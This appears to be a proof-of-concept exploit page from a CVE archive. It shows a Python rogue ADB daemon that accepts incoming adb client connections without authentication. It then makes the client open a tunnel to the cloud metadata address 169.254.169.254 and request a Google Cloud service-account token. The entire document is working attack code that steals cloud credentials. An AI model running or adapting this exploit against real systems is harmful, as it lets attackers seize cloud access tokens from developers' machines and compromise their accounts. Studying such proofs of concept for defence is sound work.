4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / adb_rogue_daemon.py PY
#!/usr/bin/env python3


import socket
import adb_shell
from adb_shell import adb_message
from builtins import bytes

HOST = '0.0.0.0'  # Standard loopback interface address (localhost)
PORT = 5556        # Port to listen on (non-privileged ports are > 1023)

LOCAL_ID = 1234
TARGET = b'169.254.169.254:80' # b"127.0.0.1:1111"
HTTP_REQUEST = b"GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.0\r\nHost: "+TARGET+b"\r\nMetadata-Flavor: Google\r\n\r\n"

def pack(cmd, arg0, arg1, payload):
    header = adb_message.AdbMessage(cmd, arg0, arg1, payload).pack()
    return header+payload

A_CNXN = pack(
    adb_shell.constants.CNXN,
    16777216, # version
    262144, # max_data
    b'host::features=stat_v2,cmd,shell_v2'
)

A_OPEN_METADATA = pack(
    adb_shell.constants.OPEN,
    LOCAL_ID, # local-id
    0, # constant, unused
    b'tcp:'+TARGET+b'\x00' # destination; 
                           # TODO: test local:... target - no idea if that would work
                           # TODO: verify what happens if we "forget" sending the trailing \x00
)


def unpack(data):
    print(data)
    header = data[0:24]
    payload = data[24:]
    unpacked = adb_message.unpack(header)
    # cmd, arg0, arg1, data_length, checksum
    payload = payload[0:unpacked[3]]
    cmd_str = adb_message.int_to_cmd(unpacked[0]).decode("utf-8")
    return (cmd_str, unpacked, payload)

def do_read(conn):
    data = conn.recv(1024)
    if not data:
        return
    print("<<<", data)
    parsed = unpack(data)
    print(parsed)
    return parsed
    
def do_send(conn, data):
    print(">>>", data)
    conn.sendall(data)

def do_the_job():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((HOST, PORT))
        s.listen()
        print("Listening on", HOST, PORT)
        while True:
            conn, addr = s.accept()
            with conn:
                print('Connected by', addr)
                request_sent = False
                while True:
                    data = do_read(conn)
                    if not data:
                        break
                    if data[0] == "CNXN":
                        print("Accepting the incoming connection without authentication")
                        do_send(conn, A_CNXN)
                        print("And also asking the remote adb client to kindly connect to our target")
                        do_send(conn, A_OPEN_METADATA)
                    if data[0] == "OKAY" and not request_sent:
                        print("The connection has established!")
                        remote_id = data[1][1]
                        do_send(conn, pack(adb_shell.constants.WRTE, LOCAL_ID, remote_id, HTTP_REQUEST))
                        request_sent = True
                    if data[0] == "WRTE":
                        print("Wooho, we got response for our rouge request!")
                        print(data[2])
            print("Connection closed")

if __name__ == "__main__":
    do_the_job()